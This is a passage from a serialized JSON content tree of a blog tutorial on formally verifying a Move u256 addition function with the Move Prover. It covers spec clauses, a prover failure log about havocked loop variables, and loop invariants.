false;\n}\n",[153263],{"type":26,"tag":83,"props":153264,"children":153265},{"__ignoreMap":8},[153266,153282,153297],{"type":26,"tag":217,"props":153267,"children":153268},{"class":7028,"line":7029},[153269,153273,153278],{"type":26,"tag":217,"props":153270,"children":153271},{"style":7054},[153272],{"type":32,"value":152824},{"type":26,"tag":217,"props":153274,"children":153275},{"style":7054},[153276],{"type":32,"value":153277}," critical_function",{"type":26,"tag":217,"props":153279,"children":153280},{"style":7048},[153281],{"type":32,"value":8064},{"type":26,"tag":217,"props":153283,"children":153284},{"class":7028,"line":6770},[153285,153289,153293],{"type":26,"tag":217,"props":153286,"children":153287},{"style":7054},[153288],{"type":32,"value":153146},{"type":26,"tag":217,"props":153290,"children":153291},{"style":7154},[153292],{"type":32,"value":7795},{"type":26,"tag":217,"props":153294,"children":153295},{"style":7048},[153296],{"type":32,"value":7162},{"type":26,"tag":217,"props":153298,"children":153299},{"class":7028,"line":6779},[153300],{"type":26,"tag":217,"props":153301,"children":153302},{"style":7048},[153303],{"type":32,"value":7184},{"type":26,"tag":39,"props":153305,"children":153306},{},[153307,153309,153315],{"type":32,"value":153308},"Another type of expression that we can use is ",{"type":26,"tag":83,"props":153310,"children":153312},{"className":153311},[],[153313],{"type":32,"value":153314},"ensures",{"type":32,"value":153316},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":26,"tag":39,"props":153318,"children":153319},{},[153320,153322,153327,153329,153334],{"type":32,"value":153321},"In the case of the ",{"type":26,"tag":83,"props":153323,"children":153325},{"className":153324},[],[153326],{"type":32,"value":61551},{"type":32,"value":153328}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":26,"tag":9348,"props":153330,"children":153331},{},[153332],{"type":32,"value":153333},"MSL uses unbounded numbers",{"type":32,"value":153335},", we're able to very cleanly express this property without worrying about overflows.",{"type":26,"tag":207,"props":153337,"children":153339},{"code":153338,"language":56139,"meta":8,"className":56140,"style":8},"spec add {\n    aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n    ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[153340],{"type":26,"tag":83,"props":153341,"children":153342},{"__ignoreMap":8},[153343,153358,153437,153501],{"type":26,"tag":217,"props":153344,"children":153345},{"class":7028,"line":7029},[153346,153350,153354],{"type":26,"tag":217,"props":153347,"children":153348},{"style":7054},[153349],{"type":32,"value":152824},{"type":26,"tag":217,"props":153351,"children":153352},{"style":7054},[153353],{"type":32,"value":152829},{"type":26,"tag":217,"props":153355,"children":153356},{"style":7048},[153357],{"type":32,"value":8064},{"type":26,"tag":217,"props":153359,"children":153360},{"class":7028,"line":6770},[153361,153365,153369,153373,153377,153381,153385,153389,153393,153397,153401,153405,153409,153413,153417,153421,153425,153429,153433],{"type":26,"tag":217,"props":153362,"children":153363},{"style":7054},[153364],{"type":32,"value":153146},{"type":26,"tag":217,"props":153366,"children":153367},{"style":7064},[153368],{"type":32,"value":152949},{"type":26,"tag":217,"props":153370,"children":153371},{"style":7048},[153372],{"type":32,"value":1851},{"type":26,"tag":217,"props":153374,"children":153375},{"style":7054},[153376],{"type":32,"value":163},{"type":26,"tag":217,"props":153378,"children":153379},{"style":7048},[153380],{"type":32,"value":8380},{"type":26,"tag":217,"props":153382,"children":153383},{"style":7149},[153384],{"type":32,"value":3540},{"type":26,"tag":217,"props":153386,"children":153387},{"style":7064},[153388],{"type":32,"value":152949},{"type":26,"tag":217,"props":153390,"children":153391},{"style":7048},[153392],{"type":32,"value":1851},{"type":26,"tag":217,"props":153394,"children":153395},{"style":7054},[153396],{"type":32,"value":14783},{"type":26,"tag":217,"props":153398,"children":153399},{"style":7048},[153400],{"type":32,"value":8380},{"type":26,"tag":217,"props":153402,"children":153403},{"style":7149},[153404],{"type":32,"value":70795},{"type":26,"tag":217,"props":153406,"children":153407},{"style":7119},[153408],{"type":32,"value":152904},{"type":26,"tag":217,"props":153410,"children":153411},{"style":7149},[153412],{"type":32,"value":9690},{"type":26,"tag":217,"props":153414,"children":153415},{"style":7119},[153416],{"type":32,"value":152904},{"type":26,"tag":217,"props":153418,"children":153419},{"style":7149},[153420],{"type":32,"value":9690},{"type":26,"tag":217,"props":153422,"children":153423},{"style":7119},[153424],{"type":32,"value":152904},{"type":26,"tag":217,"props":153426,"children":153427},{"style":7149},[153428],{"type":32,"value":9690},{"type":26,"tag":217,"props":153430,"children":153431},{"style":7119},[153432],{"type":32,"value":152904},{"type":26,"tag":217,"props":153434,"children":153435},{"style":7048},[153436],{"type":32,"value":7162},{"type":26,"tag":217,"props":153438,"children":153439},{"class":7028,"line":6779},[153440,153445,153449,153453,153457,153461,153465,153469,153473,153477,153481,153485,153489,153493,153497],{"type":26,"tag":217,"props":153441,"children":153442},{"style":7054},[153443],{"type":32,"value":153444},"    ensures",{"type":26,"tag":217,"props":153446,"children":153447},{"style":7064},[153448],{"type":32,"value":152949},{"type":26,"tag":217,"props":153450,"children":153451},{"style":7048},[153452],{"type":32,"value":1851},{"type":26,"tag":217,"props":153454,"children":153455},{"style":7054},[153456],{"type":32,"value":14769},{"type":26,"tag":217,"props":153458,"children":153459},{"style":7048},[153460],{"type":32,"value":8380},{"type":26,"tag":217,"props":153462,"children":153463},{"style":7149},[153464],{"type":32,"value":9106},{"type":26,"tag":217,"props":153466,"children":153467},{"style":7064},[153468],{"type":32,"value":152949},{"type":26,"tag":217,"props":153470,"children":153471},{"style":7048},[153472],{"type":32,"value":1851},{"type":26,"tag":217,"props":153474,"children":153475},{"style":7054},[153476],{"type":32,"value":163},{"type":26,"tag":217,"props":153478,"children":153479},{"style":7048},[153480],{"type":32,"value":8380},{"type":26,"tag":217,"props":153482,"children":153483},{"style":7149},[153484],{"type":32,"value":3540},{"type":26,"tag":217,"props":153486,"children":153487},{"style":7064},[153488],{"type":32,"value":152949},{"type":26,"tag":217,"props":153490,"children":153491},{"style":7048},[153492],{"type":32,"value":1851},{"type":26,"tag":217,"props":153494,"children":153495},{"style":7054},[153496],{"type":32,"value":14783},{"type":26,"tag":217,"props":153498,"children":153499},{"style":7048},[153500],{"type":32,"value":7669},{"type":26,"tag":217,"props":153502,"children":153503},{"class":7028,"line":7140},[153504],{"type":26,"tag":217,"props":153505,"children":153506},{"style":7048},[153507],{"type":32,"value":7184},{"type":26,"tag":39,"props":153509,"children":153510},{},[153511],{"type":32,"value":153512},"Note that because Move specification functions are written in MSL, the numbers are unbounded and we can define the expression without risk of overflow.",{"type":26,"tag":39,"props":153514,"children":153515},{},[153516],{"type":32,"value":153517},"Let's try to prove the library with the specifications from above:",{"type":26,"tag":207,"props":153519,"children":153521},{"code":153520,"language":24330,"meta":8,"className":24328,"style":8},"$ move prove\n",[153522],{"type":26,"tag":83,"props":153523,"children":153524},{"__ignoreMap":8},[153525],{"type":26,"tag":217,"props":153526,"children":153527},{"class":7028,"line":7029},[153528,153532,153537],{"type":26,"tag":217,"props":153529,"children":153530},{"style":7064},[153531],{"type":32,"value":118045},{"type":26,"tag":217,"props":153533,"children":153534},{"style":7338},[153535],{"type":32,"value":153536}," move",{"type":26,"tag":217,"props":153538,"children":153539},{"style":7338},[153540],{"type":32,"value":153541}," prove\n",{"type":26,"tag":39,"props":153543,"children":153544},{},[153545],{"type":32,"value":153546},"It outputs the following error information:",{"type":26,"tag":207,"props":153548,"children":153550},{"code":153549,"language":24330,"meta":8,"className":24328,"style":8},"[...]\n\nerror: abort not covered by any of the `aborts_if` clauses\n╭     spec add {\n|         aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n|         ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n|     }\n╰─────^\n\n[...]\n\n at ./sources/u256.move:316: add\n enter loop, variable(s) carry, i, ret havocked and reassigned\n     carry = 54\n     i = 3792\n     ret = u256.U256{v0 = 26418, v1 = 27938, v2 = 6900, v3 = 1999}\n at ./sources/u256.move:346: add\n     ABORTED\n\nFAILURE proving 1 modules from package `u256` in 9.143s\n{\n    \"Error\": \"Move Prover failed: exiting with verification errors\"\n}\n",[153551],{"type":26,"tag":83,"props":153552,"children":153553},{"__ignoreMap":8},[153554,153561,153568,153627,153648,153736,153804,153816,153824,153831,153838,153845,153863,153923,153940,153957,154029,154045,154053,154060,154110,154117,154134],{"type":26,"tag":217,"props":153555,"children":153556},{"class":7028,"line":7029},[153557],{"type":26,"tag":217,"props":153558,"children":153559},{"style":7048},[153560],{"type":32,"value":59466},{"type":26,"tag":217,"props":153562,"children":153563},{"class":7028,"line":6770},[153564],{"type":26,"tag":217,"props":153565,"children":153566},{"emptyLinePlaceholder":17},[153567],{"type":32,"value":7817},{"type":26,"tag":217,"props":153569,"children":153570},{"class":7028,"line":6779},[153571,153576,153581,153586,153591,153596,153600,153604,153609,153614,153618,153622],{"type":26,"tag":217,"props":153572,"children":153573},{"style":7064},[153574],{"type":32,"value":153575},"error:",{"type":26,"tag":217,"props":153577,"children":153578},{"style":7338},[153579],{"type":32,"value":153580}," abort",{"type":26,"tag":217,"props":153582,"children":153583},{"style":7338},[153584],{"type":32,"value":153585}," not",{"type":26,"tag":217,"props":153587,"children":153588},{"style":7338},[153589],{"type":32,"value":153590}," covered",{"type":26,"tag":217,"props":153592,"children":153593},{"style":7338},[153594],{"type":32,"value":153595}," by",{"type":26,"tag":217,"props":153597,"children":153598},{"style":7338},[153599],{"type":32,"value":129479},{"type":26,"tag":217,"props":153601,"children":153602},{"style":7338},[153603],{"type":32,"value":12480},{"type":26,"tag":217,"props":153605,"children":153606},{"style":7338},[153607],{"type":32,"value":153608}," the",{"type":26,"tag":217,"props":153610,"children":153611},{"style":7338},[153612],{"type":32,"value":153613}," `",{"type":26,"tag":217,"props":153615,"children":153616},{"style":7064},[153617],{"type":32,"value":152871},{"type":26,"tag":217,"props":153619,"children":153620},{"style":7338},[153621],{"type":32,"value":7664},{"type":26,"tag":217,"props":153623,"children":153624},{"style":7064},[153625],{"type":32,"value":153626}," clauses\n",{"type":26,"tag":217,"props":153628,"children":153629},{"class":7028,"line":7140},[153630,153635,153640,153644],{"type":26,"tag":217,"props":153631,"children":153632},{"style":7064},[153633],{"type":32,"value":153634},"╭",{"type":26,"tag":217,"props":153636,"children":153637},{"style":7338},[153638],{"type":32,"value":153639},"     spec",{"type":26,"tag":217,"props":153641,"children":153642},{"style":7338},[153643],{"type":32,"value":152829},{"type":26,"tag":217,"props":153645,"children":153646},{"style":7338},[153647],{"type":32,"value":8064},{"type":26,"tag":217,"props":153649,"children":153650},{"class":7028,"line":7165},[153651,153655,153660,153664,153668,153672,153676,153680,153684,153688,153692,153696,153700,153704,153708,153712,153716,153720,153724,153728,153732],{"type":26,"tag":217,"props":153652,"children":153653},{"style":7149},[153654],{"type":32,"value":94074},{"type":26,"tag":217,"props":153656,"children":153657},{"style":7064},[153658],{"type":32,"value":153659},"         aborts_if",{"type":26,"tag":217,"props":153661,"children":153662},{"style":7338},[153663],{"type":32,"value":152949},{"type":26,"tag":217,"props":153665,"children":153666},{"style":7048},[153667],{"type":32,"value":1851},{"type":26,"tag":217,"props":153669,"children":153670},{"style":7064},[153671],{"type":32,"value":163},{"type":26,"tag":217,"props":153673,"children":153674},{"style":7048},[153675],{"type":32,"value":8380},{"type":26,"tag":217,"props":153677,"children":153678},{"style":7338},[153679],{"type":32,"value":3540},{"type":26,"tag":217,"props":153681,"children":153682},{"style":7338},[153683],{"type":32,"value":152949},{"type":26,"tag":217,"props":153685,"children":153686},{"style":7048},[153687],{"type":32,"value":1851},{"type":26,"tag":217,"props":153689,"children":153690},{"style":7064},[153691],{"type":32,"value":14783},{"type":26,"tag":217,"props":153693,"children":153694},{"style":7048},[153695],{"type":32,"value":8380},{"type":26,"tag":217,"props":153697,"children":153698},{"style":7149},[153699],{"type":32,"value":5903},{"type":26,"tag":217,"props":153701,"children":153702},{"style":7338},[153703],{"type":32,"value":267},{"type":26,"tag":217,"props":153705,"children":153706},{"style":7338},[153707],{"type":32,"value":152904},{"type":26,"tag":217,"props":153709,"children":153710},{"style":7154},[153711],{"type":32,"value":9690},{"type":26,"tag":217,"props":153713,"children":153714},{"style":7338},[153715],{"type":32,"value":152904},{"type":26,"tag":217,"props":153717,"children":153718},{"style":7154},[153719],{"type":32,"value":9690},{"type":26,"tag":217,"props":153721,"children":153722},{"style":7338},[153723],{"type":32,"value":152904},{"type":26,"tag":217,"props":153725,"children":153726},{"style":7154},[153727],{"type":32,"value":9690},{"type":26,"tag":217,"props":153729,"children":153730},{"style":7338},[153731],{"type":32,"value":152904},{"type":26,"tag":217,"props":153733,"children":153734},{"style":7048},[153735],{"type":32,"value":7162},{"type":26,"tag":217,"props":153737,"children":153738},{"class":7028,"line":7178},[153739,153743,153748,153752,153756,153760,153764,153768,153772,153776,153780,153784,153788,153792,153796,153800],{"type":26,"tag":217,"props":153740,"children":153741},{"style":7149},[153742],{"type":32,"value":94074},{"type":26,"tag":217,"props":153744,"children":153745},{"style":7064},[153746],{"type":32,"value":153747},"         ensures",{"type":26,"tag":217,"props":153749,"children":153750},{"style":7338},[153751],{"type":32,"value":152949},{"type":26,"tag":217,"props":153753,"children":153754},{"style":7048},[153755],{"type":32,"value":1851},{"type":26,"tag":217,"props":153757,"children":153758},{"style":7064},[153759],{"type":32,"value":14769},{"type":26,"tag":217,"props":153761,"children":153762},{"style":7048},[153763],{"type":32,"value":8380},{"type":26,"tag":217,"props":153765,"children":153766},{"style":7338},[153767],{"type":32,"value":9106},{"type":26,"tag":217,"props":153769,"children":153770},{"style":7338},[153771],{"type":32,"value":152949},{"type":26,"tag":217,"props":153773,"children":153774},{"style":7048},[153775],{"type":32,"value":1851},{"type":26,"tag":217,"props":153777,"children":153778},{"style":7064},[153779],{"type":32,"value":163},{"type":26,"tag":217,"props":153781,"children":153782},{"style":7048},[153783],{"type":32,"value":8380},{"type":26,"tag":217,"props":153785,"children":153786},{"style":7338},[153787],{"type":32,"value":3540},{"type":26,"tag":217,"props":153789,"children":153790},{"style":7338},[153791],{"type":32,"value":152949},{"type":26,"tag":217,"props":153793,"children":153794},{"style":7048},[153795],{"type":32,"value":1851},{"type":26,"tag":217,"props":153797,"children":153798},{"style":7064},[153799],{"type":32,"value":14783},{"type":26,"tag":217,"props":153801,"children":153802},{"style":7048},[153803],{"type":32,"value":7669},{"type":26,"tag":217,"props":153805,"children":153806},{"class":7028,"line":7389},[153807,153811],{"type":26,"tag":217,"props":153808,"children":153809},{"style":7149},[153810],{"type":32,"value":94074},{"type":26,"tag":217,"props":153812,"children":153813},{"style":7048},[153814],{"type":32,"value":153815},"     }\n",{"type":26,"tag":217,"props":153817,"children":153818},{"class":7028,"line":7406},[153819],{"type":26,"tag":217,"props":153820,"children":153821},{"style":7064},[153822],{"type":32,"value":153823},"╰─────^\n",{"type":26,"tag":217,"props":153825,"children":153826},{"class":7028,"line":7439},[153827],{"type":26,"tag":217,"props":153828,"children":153829},{"emptyLinePlaceholder":17},[153830],{"type":32,"value":7817},{"type":26,"tag":217,"props":153832,"children":153833},{"class":7028,"line":7487},[153834],{"type":26,"tag":217,"props":153835,"children":153836},{"style":7048},[153837],{"type":32,"value":59466},{"type":26,"tag":217,"props":153839,"children":153840},{"class":7028,"line":7524},[153841],{"type":26,"tag":217,"props":153842,"children":153843},{"emptyLinePlaceholder":17},[153844],{"type":32,"value":7817},{"type":26,"tag":217,"props":153846,"children":153847},{"class":7028,"line":7553},[153848,153853,153858],{"type":26,"tag":217,"props":153849,"children":153850},{"style":7064},[153851],{"type":32,"value":153852}," at",{"type":26,"tag":217,"props":153854,"children":153855},{"style":7338},[153856],{"type":32,"value":153857}," ./sources/u256.move:316:",{"type":26,"tag":217,"props":153859,"children":153860},{"style":7338},[153861],{"type":32,"value":153862}," add\n",{"type":26,"tag":217,"props":153864,"children":153865},{"class":7028,"line":7570},[153866,153871,153876,153881,153885,153889,153893,153898,153903,153908,153913,153918],{"type":26,"tag":217,"props":153867,"children":153868},{"style":7064},[153869],{"type":32,"value":153870}," enter",{"type":26,"tag":217,"props":153872,"children":153873},{"style":7338},[153874],{"type":32,"value":153875}," loop,",{"type":26,"tag":217,"props":153877,"children":153878},{"style":7338},[153879],{"type":32,"value":153880}," variable",{"type":26,"tag":217,"props":153882,"children":153883},{"style":7048},[153884],{"type":32,"value":1851},{"type":26,"tag":217,"props":153886,"children":153887},{"style":7064},[153888],{"type":32,"value":3246},{"type":26,"tag":217,"props":153890,"children":153891},{"style":7048},[153892],{"type":32,"value":8380},{"type":26,"tag":217,"props":153894,"children":153895},{"style":7338},[153896],{"type":32,"value":153897},"carry,",{"type":26,"tag":217,"props":153899,"children":153900},{"style":7338},[153901],{"type":32,"value":153902}," i,",{"type":26,"tag":217,"props":153904,"children":153905},{"style":7338},[153906],{"type":32,"value":153907}," ret",{"type":26,"tag":217,"props":153909,"children":153910},{"style":7338},[153911],{"type":32,"value":153912}," havocked",{"type":26,"tag":217,"props":153914,"children":153915},{"style":7338},[153916],{"type":32,"value":153917}," and",{"type":26,"tag":217,"props":153919,"children":153920},{"style":7338},[153921],{"type":32,"value":153922}," reassigned\n",{"type":26,"tag":217,"props":153924,"children":153925},{"class":7028,"line":7621},[153926,153931,153935],{"type":26,"tag":217,"props":153927,"children":153928},{"style":7064},[153929],{"type":32,"value":153930},"     carry",{"type":26,"tag":217,"props":153932,"children":153933},{"style":7338},[153934],{"type":32,"value":8993},{"type":26,"tag":217,"props":153936,"children":153937},{"style":7130},[153938],{"type":32,"value":153939}," 54\n",{"type":26,"tag":217,"props":153941,"children":153942},{"class":7028,"line":7672},[153943,153948,153952],{"type":26,"tag":217,"props":153944,"children":153945},{"style":7064},[153946],{"type":32,"value":153947},"     i",{"type":26,"tag":217,"props":153949,"children":153950},{"style":7338},[153951],{"type":32,"value":8993},{"type":26,"tag":217,"props":153953,"children":153954},{"style":7130},[153955],{"type":32,"value":153956}," 3792\n",{"type":26,"tag":217,"props":153958,"children":153959},{"class":7028,"line":7681},[153960,153965,153969,153974,153978,153983,153988,153992,153997,154002,154006,154011,154016,154020,154025],{"type":26,"tag":217,"props":153961,"children":153962},{"style":7064},[153963],{"type":32,"value":153964},"     ret",{"type":26,"tag":217,"props":153966,"children":153967},{"style":7338},[153968],{"type":32,"value":8993},{"type":26,"tag":217,"props":153970,"children":153971},{"style":7338},[153972],{"type":32,"value":153973}," u256.U256{v0",{"type":26,"tag":217,"props":153975,"children":153976},{"style":7338},[153977],{"type":32,"value":8993},{"type":26,"tag":217,"props":153979,"children":153980},{"style":7338},[153981],{"type":32,"value":153982}," 26418,",{"type":26,"tag":217,"props":153984,"children":153985},{"style":7338},[153986],{"type":32,"value":153987}," v1",{"type":26,"tag":217,"props":153989,"children":153990},{"style":7338},[153991],{"type":32,"value":8993},{"type":26,"tag":217,"props":153993,"children":153994},{"style":7338},[153995],{"type":32,"value":153996}," 27938,",{"type":26,"tag":217,"props":153998,"children":153999},{"style":7338},[154000],{"type":32,"value":154001}," v2",{"type":26,"tag":217,"props":154003,"children":154004},{"style":7338},[154005],{"type":32,"value":8993},{"type":26,"tag":217,"props":154007,"children":154008},{"style":7338},[154009],{"type":32,"value":154010}," 6900,",{"type":26,"tag":217,"props":154012,"children":154013},{"style":7338},[154014],{"type":32,"value":154015}," v3",{"type":26,"tag":217,"props":154017,"children":154018},{"style":7338},[154019],{"type":32,"value":8993},{"type":26,"tag":217,"props":154021,"children":154022},{"style":7130},[154023],{"type":32,"value":154024}," 1999",{"type":26,"tag":217,"props":154026,"children":154027},{"style":7338},[154028],{"type":32,"value":7184},{"type":26,"tag":217,"props":154030,"children":154031},{"class":7028,"line":7754},[154032,154036,154041],{"type":26,"tag":217,"props":154033,"children":154034},{"style":7064},[154035],{"type":32,"value":153852},{"type":26,"tag":217,"props":154037,"children":154038},{"style":7338},[154039],{"type":32,"value":154040}," ./sources/u256.move:346:",{"type":26,"tag":217,"props":154042,"children":154043},{"style":7338},[154044],{"type":32,"value":153862},{"type":26,"tag":217,"props":154046,"children":154047},{"class":7028,"line":7784},[154048],{"type":26,"tag":217,"props":154049,"children":154050},{"style":7064},[154051],{"type":32,"value":154052},"     ABORTED\n",{"type":26,"tag":217,"props":154054,"children":154055},{"class":7028,"line":7802},[154056],{"type":26,"tag":217,"props":154057,"children":154058},{"emptyLinePlaceholder":17},[154059],{"type":32,"value":7817},{"type":26,"tag":217,"props":154061,"children":154062},{"class":7028,"line":7811},[154063,154068,154073,154077,154082,154087,154092,154096,154101,154105],{"type":26,"tag":217,"props":154064,"children":154065},{"style":7064},[154066],{"type":32,"value":154067},"FAILURE",{"type":26,"tag":217,"props":154069,"children":154070},{"style":7338},[154071],{"type":32,"value":154072}," proving",{"type":26,"tag":217,"props":154074,"children":154075},{"style":7130},[154076],{"type":32,"value":9742},{"type":26,"tag":217,"props":154078,"children":154079},{"style":7338},[154080],{"type":32,"value":154081}," modules",{"type":26,"tag":217,"props":154083,"children":154084},{"style":7338},[154085],{"type":32,"value":154086}," from",{"type":26,"tag":217,"props":154088,"children":154089},{"style":7338},[154090],{"type":32,"value":154091}," package",{"type":26,"tag":217,"props":154093,"children":154094},{"style":7338},[154095],{"type":32,"value":153613},{"type":26,"tag":217,"props":154097,"children":154098},{"style":7064},[154099],{"type":32,"value":154100},"u256",{"type":26,"tag":217,"props":154102,"children":154103},{"style":7338},[154104],{"type":32,"value":7664},{"type":26,"tag":217,"props":154106,"children":154107},{"style":7048},[154108],{"type":32,"value":154109}," in 9.143s\n",{"type":26,"tag":217,"props":154111,"children":154112},{"class":7028,"line":7820},[154113],{"type":26,"tag":217,"props":154114,"children":154115},{"style":7048},[154116],{"type":32,"value":10033},{"type":26,"tag":217,"props":154118,"children":154119},{"class":7028,"line":7844},[154120,154125,154129],{"type":26,"tag":217,"props":154121,"children":154122},{"style":7064},[154123],{"type":32,"value":154124},"    \"Error\"",{"type":26,"tag":217,"props":154126,"children":154127},{"style":7064},[154128],{"type":32,"value":1473},{"type":26,"tag":217,"props":154130,"children":154131},{"style":7338},[154132],{"type":32,"value":154133}," \"Move Prover failed: exiting with verification errors\"\n",{"type":26,"tag":217,"props":154135,"children":154136},{"class":7028,"line":7910},[154137],{"type":26,"tag":217,"props":154138,"children":154139},{"style":7048},[154140],{"type":32,"value":7184},{"type":26,"tag":39,"props":154142,"children":154143},{},[154144,154146,154151],{"type":32,"value":154145},"The prover is telling us that proving failed because the abort was not covered by our ",{"type":26,"tag":83,"props":154147,"children":154149},{"className":154148},[],[154150],{"type":32,"value":152871},{"type":32,"value":154152}," clauses. But there is no other abort situation that we have to cover, right?",{"type":26,"tag":39,"props":154154,"children":154155},{},[154156,154158,154164],{"type":32,"value":154157},"If we keep reading the error output, we will encounter the somewhat cryptic message: ",{"type":26,"tag":83,"props":154159,"children":154161},{"className":154160},[],[154162],{"type":32,"value":154163},"ret havocked and reassigned",{"type":32,"value":180},{"type":26,"tag":39,"props":154166,"children":154167},{},[154168],{"type":32,"value":154169},"What does this mean?",{"type":26,"tag":39,"props":154171,"children":154172},{},[154173,154175,154182],{"type":32,"value":154174},"By diving into the Move Prover source, we find a ",{"type":26,"tag":163,"props":154176,"children":154179},{"href":154177,"rel":154178},"https://github.com/move-language/move/blob/e0dafc5cf3efe4c4e61411f10cdf0f379a36673c/language/move-prover/bytecode/src/loop_analysis.rs#L94",[167],[154180],{"type":32,"value":154181},"likely suspect",{"type":32,"value":154183},". The prover attempts to prove all loops with induction!",{"type":26,"tag":39,"props":154185,"children":154186},{},[154187],{"type":32,"value":154188},"More formally, it will translate the loop into two key steps, following the classic steps of a proof by induction",{"type":26,"tag":6712,"props":154190,"children":154191},{},[154192,154197],{"type":26,"tag":2044,"props":154193,"children":154194},{},[154195],{"type":32,"value":154196},"Base Case: Asserting the loop invariant holds at the start of loop execution",{"type":26,"tag":2044,"props":154198,"children":154199},{},[154200],{"type":32,"value":154201},"Inductive Step: Assume the invariant, execute the loop body, and assert that the invariant still holds",{"type":26,"tag":39,"props":154203,"children":154204},{},[154205,154207,154212,154214,154220,154221,154226,154227,154232,154234,154239],{"type":32,"value":154206},"The loop prover will also ",{"type":26,"tag":9348,"props":154208,"children":154209},{},[154210],{"type":32,"value":154211},"havoc, or assign random values to, all variables written to inside the loop",{"type":32,"value":154213},". Going back to the log message, this implies that the variables ",{"type":26,"tag":83,"props":154215,"children":154217},{"className":154216},[],[154218],{"type":32,"value":154219},"carry",{"type":32,"value":7599},{"type":26,"tag":83,"props":154222,"children":154224},{"className":154223},[],[154225],{"type":32,"value":17976},{"type":32,"value":1308},{"type":26,"tag":83,"props":154228,"children":154230},{"className":154229},[],[154231],{"type":32,"value":2290},{"type":32,"value":154233}," have been havocked, or assigned random values. This also explains why the input and output of ",{"type":26,"tag":83,"props":154235,"children":154237},{"className":154236},[],[154238],{"type":32,"value":61551},{"type":32,"value":154240}," makes no sense.",{"type":26,"tag":39,"props":154242,"children":154243},{},[154244],{"type":32,"value":154245},"More concretely, the loop analysis translates into the following steps.",{"type":26,"tag":6712,"props":154247,"children":154248},{},[154249,154254,154259,154264,154269,154274],{"type":26,"tag":2044,"props":154250,"children":154251},{},[154252],{"type":32,"value":154253},"Assert the loop invariant",{"type":26,"tag":2044,"props":154255,"children":154256},{},[154257],{"type":32,"value":154258},"Havoc all modified variables",{"type":26,"tag":2044,"props":154260,"children":154261},{},[154262],{"type":32,"value":154263},"Assume the loop invariant",{"type":26,"tag":2044,"props":154265,"children":154266},{},[154267],{"type":32,"value":154268},"Assume the loop guard (the code inside the while condition)",{"type":26,"tag":2044,"props":154270,"children":154271},{},[154272],{"type":32,"value":154273},"Run the loop body",{"type":26,"tag":2044,"props":154275,"children":154276},{},[154277],{"type":32,"value":154253},{"type":26,"tag":39,"props":154279,"children":154280},{},[154281],{"type":32,"value":154282},"There are two approaches to dealing with loops.",{"type":26,"tag":39,"props":154284,"children":154285},{},[154286],{"type":32,"value":154287},"The first would be to specify a loop invariant.",{"type":26,"tag":39,"props":154289,"children":154290},{},[154291,154293,154300],{"type":32,"value":154292},"In order to specify the loop invariant, we need to use some special syntax, as we explored briefly in our ",{"type":26,"tag":163,"props":154294,"children":154297},{"href":154295,"rel":154296},"https://osec.io/blog/tutorials/2022-09-06-move-introduction/",[167],[154298],{"type":32,"value":154299},"previous post",{"type":32,"value":180},{"type":26,"tag":207,"props":154302,"children":154304},{"code":154303,"language":56139,"meta":8,"className":56140,"style":8},"  while ({\n      spec {\n          invariant len(amounts_times_coins) == i;\n          invariant i \u003C= n_coins;\n          invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n      };\n      (i \u003C n_coins)\n  }) {\n      vector::push_back(\n          &mut amounts_times_coins,\n          (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n      );\n      i = i + 1;\n  };\n",[154305],{"type":26,"tag":83,"props":154306,"children":154307},{"__ignoreMap":8},[154308,154321,154333,154370,154394,154481,154488,154512,154520,154541,154561,154655,154662,154690],{"type":26,"tag":217,"props":154309,"children":154310},{"class":7028,"line":7029},[154311,154316],{"type":26,"tag":217,"props":154312,"children":154313},{"style":7042},[154314],{"type":32,"value":154315},"  while",{"type":26,"tag":217,"props":154317,"children":154318},{"style":7048},[154319],{"type":32,"value":154320}," ({\n",{"type":26,"tag":217,"props":154322,"children":154323},{"class":7028,"line":6770},[154324,154329],{"type":26,"tag":217,"props":154325,"children":154326},{"style":7054},[154327],{"type":32,"value":154328},"      spec",{"type":26,"tag":217,"props":154330,"children":154331},{"style":7048},[154332],{"type":32,"value":8064},{"type":26,"tag":217,"props":154334,"children":154335},{"class":7028,"line":6779},[154336,154341,154345,154349,154354,154358,154362,154366],{"type":26,"tag":217,"props":154337,"children":154338},{"style":7054},[154339],{"type":32,"value":154340},"          invariant",{"type":26,"tag":217,"props":154342,"children":154343},{"style":7064},[154344],{"type":32,"value":81182},{"type":26,"tag":217,"props":154346,"children":154347},{"style":7048},[154348],{"type":32,"value":1851},{"type":26,"tag":217,"props":154350,"children":154351},{"style":7054},[154352],{"type":32,"value":154353},"amounts_times_coins",{"type":26,"tag":217,"props":154355,"children":154356},{"style":7048},[154357],{"type":32,"value":8380},{"type":26,"tag":217,"props":154359,"children":154360},{"style":7149},[154361],{"type":32,"value":9106},{"type":26,"tag":217,"props":154363,"children":154364},{"style":7054},[154365],{"type":32,"value":28971},{"type":26,"tag":217,"props":154367,"children":154368},{"style":7048},[154369],{"type":32,"value":7162},{"type":26,"tag":217,"props":154371,"children":154372},{"class":7028,"line":7140},[154373,154377,154381,154385,154390],{"type":26,"tag":217,"props":154374,"children":154375},{"style":7054},[154376],{"type":32,"value":154340},{"type":26,"tag":217,"props":154378,"children":154379},{"style":7054},[154380],{"type":32,"value":28971},{"type":26,"tag":217,"props":154382,"children":154383},{"style":7149},[154384],{"type":32,"value":92297},{"type":26,"tag":217,"props":154386,"children":154387},{"style":7054},[154388],{"type":32,"value":154389}," n_coins",{"type":26,"tag":217,"props":154391,"children":154392},{"style":7048},[154393],{"type":32,"value":7162},{"type":26,"tag":217,"props":154395,"children":154396},{"class":7028,"line":7165},[154397,154401,154406,154410,154415,154419,154423,154427,154431,154436,154440,154444,154448,154452,154457,154461,154465,154469,154473,154477],{"type":26,"tag":217,"props":154398,"children":154399},{"style":7054},[154400],{"type":32,"value":154340},{"type":26,"tag":217,"props":154402,"children":154403},{"style":7054},[154404],{"type":32,"value":154405}," forall",{"type":26,"tag":217,"props":154407,"children":154408},{"style":7054},[154409],{"type":32,"value":113770},{"type":26,"tag":217,"props":154411,"children":154412},{"style":7154},[154413],{"type":32,"value":154414}," 